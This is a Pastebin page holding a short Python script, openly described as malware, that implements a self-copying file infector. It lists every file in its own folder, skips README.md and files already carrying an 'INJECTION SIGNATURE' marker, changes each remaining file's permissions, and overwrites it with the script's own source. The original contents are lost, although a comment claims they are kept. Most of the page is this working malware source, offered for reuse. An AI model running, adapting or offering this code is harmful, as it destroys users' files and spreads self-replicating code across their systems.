Advertisement
FlyFar

file_infection/infector.py

Oct 19th, 2023
689
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Python 2.83 KB | Cybersecurity | 0 0
  1. #!/usr/bin/env python3
  2.  
  3. """ Implementation of file infector in Python.
  4.    INJECTION SIGNATURE
  5. """
  6.  
  7. import logging
  8. import os
  9. import sys
  10. from cached_property import cached_property
  11.  
  12.  
  13. class FileInfector:
  14.     """ This class represents the code injecting malware.
  15.    """
  16.  
  17.     def __init__(self, name):
  18.         self._name = name
  19.  
  20.     @property
  21.     def name(self):
  22.         """ Name of the malware. """
  23.         return self._name
  24.  
  25.     @name.setter
  26.     def name(self, new_name):
  27.         self._name = new_name
  28.  
  29.     @cached_property
  30.     def malicious_code(self):
  31.         """ Malicious code. In the case of this file
  32.        injector it is this whole file.
  33.        """
  34.         # Get the name of this file.
  35.         malicious_file = sys.argv[0]
  36.         with open(malicious_file, 'r') as file:
  37.             malicious_code = file.read()
  38.  
  39.         return malicious_code
  40.  
  41.     def infect_files_in_folder(self, path):
  42.         """ Perform file infection on all files in the
  43.        given directory specified by path.
  44.  
  45.        :param str path: Path of the folder to be infected.
  46.        :returns: Number of injected files (`int`).
  47.        """
  48.         num_infected_files = 0
  49.         # List the directory to get all files.
  50.         files = []
  51.         for file in os.listdir(path):
  52.             # For the demostration purposes ignore README.md
  53.             # from the repository.
  54.             if file == 'README.md':
  55.                 continue
  56.  
  57.             file_path = os.path.join(path, file)
  58.             if os.path.isfile(file_path):
  59.                 files.append(file_path)
  60.  
  61.         # Inject each file in the directory.
  62.         for file in files:
  63.             logging.debug('Infecting file: {}'.format(file))
  64.  
  65.             # Read the content of the original file.
  66.             with open(file, 'r') as infected_file:
  67.                 file_content = infected_file.read()
  68.             # Check whether the file was already infected by scanning
  69.             # the injection signature in this file. If so, skip the file.
  70.             if "INJECTION SIGNATURE" in file_content:
  71.                 continue
  72.  
  73.             # Ensure that the injected file is executable.
  74.             os.chmod(file, 777)
  75.  
  76.             # Write the original and malicous part into the file.
  77.             with open(file, 'w') as infected_file:
  78.                 infected_file.write(self.malicious_code)
  79.  
  80.             num_infected_files += 1
  81.  
  82.         return num_infected_files
  83.  
  84.  
  85. if __name__ == '__main__':
  86.     logging.basicConfig(level=logging.DEBUG)
  87.  
  88.     # Create file injector.
  89.     code_injector = FileInfector('SimpleFileInfector')
  90.  
  91.     # Infect all files in the same folder.
  92.     path = os.path.dirname(os.path.abspath(__file__))
  93.     number_infected_files = code_injector.infect_files_in_folder(path)
  94.  
  95.     logging.info('Number of infected files: {}'.format(number_infected_files))
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement